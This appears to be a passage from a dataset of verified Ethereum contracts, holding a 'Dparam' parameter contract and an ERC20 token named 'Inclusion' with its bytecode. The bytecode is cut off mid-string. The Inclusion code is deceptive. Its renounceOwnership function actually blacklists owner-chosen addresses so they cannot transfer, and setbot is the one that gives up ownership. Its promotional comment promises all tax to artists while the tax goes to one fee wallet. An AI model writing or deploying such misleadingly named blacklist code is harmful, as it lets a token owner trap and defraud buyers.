* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract WhiteList is Owned {
/// @notice Users with permissions
mapping(address => uint256) public whiter;
/// @notice Append address into whiteList successevent
event AppendWhiter(address adder);
/// @notice Remove address into whiteList successevent
event RemoveWhiter(address remover);
/**
* @notice Construct a new WhiteList, default owner in whiteList
*/
constructor() internal {
appendWhiter(owner);
}
modifier onlyWhiter() {
require(isWhiter(), "WhiteList: msg.sender not in whilteList.");
_;
}
/**
* @notice Only onwer can append address into whitelist
* @param account The address not added, can added to the whitelist
*/
function appendWhiter(address account) public onlyOwner {
require(account != address(0), "WhiteList: address not zero");
require(
!isWhiter(account),
"WhiteListe: the account exsit whilteList yet"
);
whiter[account] = 1;
emit AppendWhiter(account);
}
/**
* @notice Only onwer can remove address into whitelist
* @param account The address in whitelist yet
*/
function removeWhiter(address account) public onlyOwner {
require(
isWhiter(account),
"WhiteListe: the account not exist whilteList"
);
delete whiter[account];
emit RemoveWhiter(account);
}
/**
* @notice Check whether acccount in whitelist
* @param account Any address
*/
function isWhiter(address account) public view returns (bool) {
return whiter[account] == 1;
}
/**
* @notice Check whether msg.sender in whitelist overrides.
*/
function isWhiter() public view returns (bool) {
return isWhiter(msg.sender);
}
}
contract Dparam is Owned, WhiteList, IDparam {
using SafeMath for uint256;
/// @notice Subscription ratio token -> coin
uint256 public stakeRate = 35;
/// @notice The collateral rate of liquidation
uint256 public liquidationLine = 110;
/// @notice Redemption rate 0.3%
uint256 public feeRate = 3;
/// @notice Minimum number of COINS for the first time
uint256 public minMint = 100 * ONE;
uint256 constant ONE = 1e8;
/// @notice Reset fee event
event FeeRateEvent(uint256 feeRate);
/// @notice Reset liquidationLine event
event LiquidationLineEvent(uint256 liquidationRate);
/// @notice Reset minMint event
event MinMintEvent(uint256 minMint);
/**
* @notice Construct a new Dparam, owner by msg.sender
*/
constructor() public Owned(msg.sender) {}
/**
* @notice Reset feeRate
* @param _feeRate New number of feeRate
*/
function setFeeRate(uint256 _feeRate) external onlyWhiter {
feeRate = _feeRate;
emit FeeRateEvent(feeRate);
}
/**
* @notice Reset liquidationLine
* @param _liquidationLine New number of liquidationLine
*/
function setLiquidationLine(uint256 _liquidationLine) external onlyWhiter {
liquidationLine = _liquidationLine;
emit LiquidationLineEvent(liquidationLine);
}
/**
* @notice Reset minMint
* @param _minMint New number of minMint
*/
function setMinMint(uint256 _minMint) external onlyWhiter {
minMint = _minMint;
emit MinMintEvent(minMint);
}
/**
* @notice Check Is it below the clearing line
* @param price The token/usdt price
* @return Whether the clearing line has been no exceeded
*/
function isLiquidation(uint256 price) external view returns (bool) {
return price.mul(stakeRate).mul(100) <= liquidationLine.mul(ONE);
}
/**
* @notice Determine if the exchange value at the current rate is less than $7
* @param price The token/usdt price
* @return The value of Checking
*/
function isNormal(uint256 price) external view returns (bool) {
return price.mul(stakeRate) >= ONE.mul(7);
}
}
| 0x608060405234801561001057600080fd5b50600436106101165760003560e01c806379ba5097116100a2578063978bbdb911610071578063978bbdb9146103cf578063ab68bdb7146103ed578063b7126e7714610433578063c97ec6bd14610461578063f95f4500146104a557610116565b806379ba50971461033f57806381160fe3146103495780638376112a146103675780638da5cb5b1461038557610116565b80634693b9f9116100e95780634693b9f91461020b5780634bf404ec1461022957806353a47bb71461026f578063615bae93146102b957806367f3c2a5146102e757610116565b80631627540c1461011b5780631dcba5311461015f57806332a2b2db1461018157806345596e2e146101dd575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104e9565b005b610167610635565b604051808215151515815260200191505060405180910390f35b6101c36004803603602081101561019757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b610209600480360360208110156101f357600080fd5b8101908080359060200190929190505050610691565b005b610213610731565b6040518082815260200191505060405180910390f35b6102556004803603602081101561023f57600080fd5b8101908080359060200190929190505050610737565b604051808215151515815260200191505060405180910390f35b61027761076f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102e5600480360360208110156102cf57600080fd5b8101908080359060200190929190505050610795565b005b610329600480360360208110156102fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610835565b6040518082815260200191505060405180910390f35b61034761084d565b005b610351610a73565b6040518082815260200191505060405180910390f35b61036f610a79565b6040518082815260200191505060405180910390f35b61038d610a7f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d7610aa4565b6040518082815260200191505060405180910390f35b6104196004803603602081101561040357600080fd5b8101908080359060200190929190505050610aaa565b604051808215151515815260200191505060405180910390f35b61045f6004803603602081101561044957600080fd5b8101908080359060200190929190505050610af6565b005b6104a36004803603602081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b96565b005b6104e7600480360360208110156104bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d42565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611050602f913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600061064033610645565b905090565b60006001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050919050565b610699610635565b6106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806110f86028913960400191505060405180910390fd5b806005819055507f8d05d9089d0aad89db789d500081078a48e8b6d79cf7d6370d29678a6d6650eb6005546040518082815260200191505060405180910390a150565b60045481565b600061075160076305f5e100610f9490919063ffffffff16565b61076660035484610f9490919063ffffffff16565b10159050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61079d610635565b6107f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806110f86028913960400191505060405180910390fd5b806004819055507f6c68c56a1fd8fc1b5dff20eb2f86be2c4af805f62e7961f2687b91ce4a1c2fb26004546040518082815260200191505060405180910390a150565b60026020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061101b6035913960400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000610ac56305f5e100600454610f9490919063ffffffff16565b610aed6064610adf60035486610f9490919063ffffffff16565b610f9490919063ffffffff16565b11159050919050565b610afe610635565b610b53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806110f86028913960400191505060405180910390fd5b806006819055507f976eb1a39c974c55d42ed0f8a5fe7ae07dc78c53aadad39792215eda969817486006546040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611050602f913960400191505060405180910390fd5b610c4481610645565b610c99576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806110a0602c913960400191505060405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090557fa7498c8942adb10d7b806c9a26cff6dd93b6f0259681ffcb98d8dafd8b174f8e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611050602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f57686974654c6973743a2061646472657373206e6f74207a65726f000000000081525060200191505060405180910390fd5b610e9381610645565b15610ee9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806110cc602c913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507ff6f23488d2332695a038c333e5b9b5ad5a5a6aa7001c5c8f2c851051907402c681604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600080831415610fa75760009050611014565b6000828402905082848281610fb857fe5b041461100f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061107f6021913960400191505060405180910390fd5b809150505b9291505056fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7757686974654c697374653a20746865206163636f756e74206e6f74206578697374207768696c74654c69737457686974654c697374653a20746865206163636f756e74206578736974207768696c74654c6973742079657457686974654c6973743a206d73672e73656e646572206e6f7420696e207768696c74654c6973742ea265627a7a72315820045df769f1efa4a28f7e0943d5d95f64e97a6d1513b1bdf78991b287c6d5e38a64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,952 |
0x4ec9cbf7906fa6943c9fe817ce831e28788845b8 | /**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
Inclusion
Have you imagined your illustration can be the next viral NFT artwork but you have no idea how to start? Inclusion is here for you!
Inclusion is designed as an enabler, assisting talented artists to express their potentiel artwork.
We sincerely invite talented artists to submit and share your work and we will help you to publish it as an NFT with our Inclusion Fund.
The purpose of Inclusion Fund is to initiate fund for artists to promote their artwork. The source of our fund will be extracted from every transaction you made on our token.
In order to find out which artist is the best of the best. Our goal is to create a “simple voting portal” Inclusion DAO will poll vote among Inustrator owners.
The voting result will instruct Inclusion to invest in which artist and turn it as the next viral NFT,
ALL of the tax fee from Inclusion will be distributed to invest in the artist.
Inclusion DAO aims to be a world-class Crypto Project Investment Fund along with the increase of Inclusion DAO users.
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function setbot() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Inclusion is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Inclusion";
string private constant _symbol = "Inclusion";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xEBC3ee73c0353380c752eBa0b672E0072FBF9cA6);
_buyTax = 13;
_sellTax = 13;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function renounceOwnership(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 13) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 13) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063866dcc20116100ab578063c3c8cd801161006f578063c3c8cd8014610313578063c9567bf914610328578063dbe8272c1461033d578063dc1052e21461035d578063dd62ed3e1461037d578063e2b8e1ac146103c357600080fd5b8063866dcc20146102a15780638da5cb5b146102b657806395d89b411461013a5780639e78fb4f146102de578063a9059cbb146102f357600080fd5b8063273123b7116100f2578063273123b714610210578063313ce5671461023057806346df33b71461024c5780636fc3eaec1461026c57806370a082311461028157600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab5780631bbae6e0146101ce57806323b872dd146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082018252600981526824b731b63ab9b4b7b760b91b60208201529051610172919061161d565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611697565b6103e3565b6040519015158152602001610172565b3480156101b757600080fd5b506509184e72a0005b604051908152602001610172565b3480156101da57600080fd5b506101ee6101e93660046116c3565b6103fa565b005b3480156101fc57600080fd5b5061019b61020b3660046116dc565b610446565b34801561021c57600080fd5b506101ee61022b36600461171d565b6104af565b34801561023c57600080fd5b5060405160098152602001610172565b34801561025857600080fd5b506101ee610267366004611748565b6104fa565b34801561027857600080fd5b506101ee610542565b34801561028d57600080fd5b506101c061029c36600461171d565b610576565b3480156102ad57600080fd5b506101ee610598565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102ea57600080fd5b506101ee61060c565b3480156102ff57600080fd5b5061019b61030e366004611697565b61081e565b34801561031f57600080fd5b506101ee61082b565b34801561033457600080fd5b506101ee61086b565b34801561034957600080fd5b506101ee6103583660046116c3565b610a10565b34801561036957600080fd5b506101ee6103783660046116c3565b610a48565b34801561038957600080fd5b506101c0610398366004611765565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103cf57600080fd5b506101ee6103de3660046117b4565b610a80565b60006103f0338484610b16565b5060015b92915050565b6000546001600160a01b0316331461042d5760405162461bcd60e51b815260040161042490611879565b60405180910390fd5b6702c68af0bb1400008111156104435760108190555b50565b6000610453848484610c3a565b6104a584336104a085604051806060016040528060288152602001611a3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f4a565b610b16565b5060019392505050565b6000546001600160a01b031633146104d95760405162461bcd60e51b815260040161042490611879565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105245760405162461bcd60e51b815260040161042490611879565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161042490611879565b4761044381610f84565b6001600160a01b0381166000908152600260205260408120546103f490610fbe565b6000546001600160a01b031633146105c25760405162461bcd60e51b815260040161042490611879565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161042490611879565b600f54600160a01b900460ff16156106905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610424565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071991906118ae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a91906118ae565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb91906118ae565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f0338484610c3a565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161042490611879565b600061086030610576565b905061044381611042565b6000546001600160a01b031633146108955760405162461bcd60e51b815260040161042490611879565b600e546108b39030906001600160a01b03166509184e72a000610b16565b600e546001600160a01b031663f305d71947306108cf81610576565b6000806108e46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561094c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097191906118cb565b5050600f80546501d1a94a200060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044391906118f9565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161042490611879565b600d81101561044357600b55565b6000546001600160a01b03163314610a725760405162461bcd60e51b815260040161042490611879565b600d81101561044357600c55565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161042490611879565b60005b8151811015610b1257600160066000848481518110610ace57610ace611916565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b0a81611942565b915050610aad565b5050565b6001600160a01b038316610b785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610424565b6001600160a01b038216610bd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610424565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c9e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610424565b6001600160a01b038216610d005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610424565b60008111610d625760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610424565b6001600160a01b03831660009081526006602052604090205460ff1615610d8857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dca57506001600160a01b03821660009081526005602052604090205460ff16155b15610f3a576000600955600c54600a55600f546001600160a01b038481169116148015610e055750600e546001600160a01b03838116911614155b8015610e2a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e3f5750600f54600160b81b900460ff165b15610e6c576000610e4f83610576565b601054909150610e5f83836111bc565b1115610e6a57600080fd5b505b600f546001600160a01b038381169116148015610e975750600e546001600160a01b03848116911614155b8015610ebc57506001600160a01b03831660009081526005602052604090205460ff16155b15610ecd576000600955600b54600a555b6000610ed830610576565b600f54909150600160a81b900460ff16158015610f035750600f546001600160a01b03858116911614155b8015610f185750600f54600160b01b900460ff165b15610f3857610f2681611042565b478015610f3657610f3647610f84565b505b505b610f4583838361121b565b505050565b60008184841115610f6e5760405162461bcd60e51b8152600401610424919061161d565b506000610f7b848661195d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b12573d6000803e3d6000fd5b60006007548211156110255760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610424565b600061102f611226565b905061103b8382611249565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108a5761108a611916565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611